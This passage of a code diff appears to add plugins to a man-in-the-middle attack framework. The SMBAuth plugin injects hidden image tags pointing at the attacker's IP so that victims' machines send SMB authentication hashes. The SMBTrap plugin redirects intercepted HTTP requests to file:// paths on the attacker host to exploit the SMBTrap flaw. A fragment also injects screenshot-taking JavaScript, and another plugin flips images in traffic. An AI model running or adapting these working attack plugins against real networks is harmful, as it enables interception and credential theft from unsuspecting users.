return re.sub("SECONDS_GO_HERE", str(self.interval*1000), open("./core/javascript/screenshot.js", "rb").read())
def options(self, options):
options.add_argument("--interval", dest="interval", type=int, metavar="SECONDS", default=10, help="Interval at which screenshots will be taken (default 10 seconds)")

41
plugins/smbauth.py Normal file

@ -0,0 +1,41 @@
#!/usr/bin/env python2.7
# Copyright (c) 2014-2016 Marcello Salvati
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
from plugins.plugin import Plugin
from plugins.inject import Inject
class SMBAuth(Inject, Plugin):
name = "SMBAuth"
optname = "smbauth"
desc = "Evoke SMB challenge-response auth attempts"
version = "0.1"
def initialize(self, options):
self.ip = options.ip
Inject.initialize(self, options)
self.html_payload = self._get_data()
def _get_data(self):
return '<img src=\"\\\\%s\\image.jpg\">'\
'<img src=\"file://///%s\\image.jpg\">'\
'<img src=\"moz-icon:file:///%%5c/%s\\image.jpg\">' % tuple([self.ip]*3)
def options(self, options):
pass

38
plugins/smbtrap.py Normal file

@ -0,0 +1,38 @@
# Copyright (c) 2014-2016 Marcello Salvati
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
import random
import string
from plugins.plugin import Plugin
class SMBTrap(Plugin):
name = "SMBTrap"
optname = "smbtrap"
desc = "Exploits the SMBTrap vulnerability on connected clients"
version = "1.0"
def initialize(self, options):
self.ip = options.ip
def responsestatus(self, request, version, code, message):
return {"request": request, "version": version, "code": 302, "message": "Found"}
def responseheaders(self, response, request):
self.clientlog.info("Trapping request to {}".format(request.headers['host']))
rand_path = ''.join(random.sample(string.ascii_uppercase + string.digits, 8))
response.headers["Location"] = "file://{}/{}".format(self.ip, rand_path)

@ -0,0 +1,61 @@
# Copyright (c) 2014-2016 Marcello Salvati
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
from cStringIO import StringIO
from plugins.plugin import Plugin
from PIL import Image, ImageFile
class Upsidedownternet(Plugin):
name = "Upsidedownternet"
optname = "upsidedownternet"
desc = 'Flips images 180 degrees'
version = "0.1"
def initialize(self, options):
self.options = options
def responseheaders(self, response, request):
'''Kill the image skipping that's in place for speed reasons'''
if request.isImageRequest:
request.isImageRequest = False
request.isImage = True
self.imageType = response.headers['content-type'].split('/')[1].upper()
def response(self, response, request, data):
try:
isImage = getattr(request, 'isImage')
except AttributeError:
isImage = False
if isImage:
try:
#For some reason more images get parsed using the parser
#rather than a file...PIL still needs some work I guess
p = ImageFile.Parser()
p.feed(data)
im = p.close()
im = im.transpose(Image.ROTATE_180)
output = StringIO()
im.save(output, format=self.imageType)
data = output.getvalue()
output.close()
self.clientlog.info("Flipped image".format(response.getClientIP()))
except Exception as e:
self.clientlog.info("Error: {}".format(response.getClientIP(), e))
return {'response': response, 'request': request, 'data': data}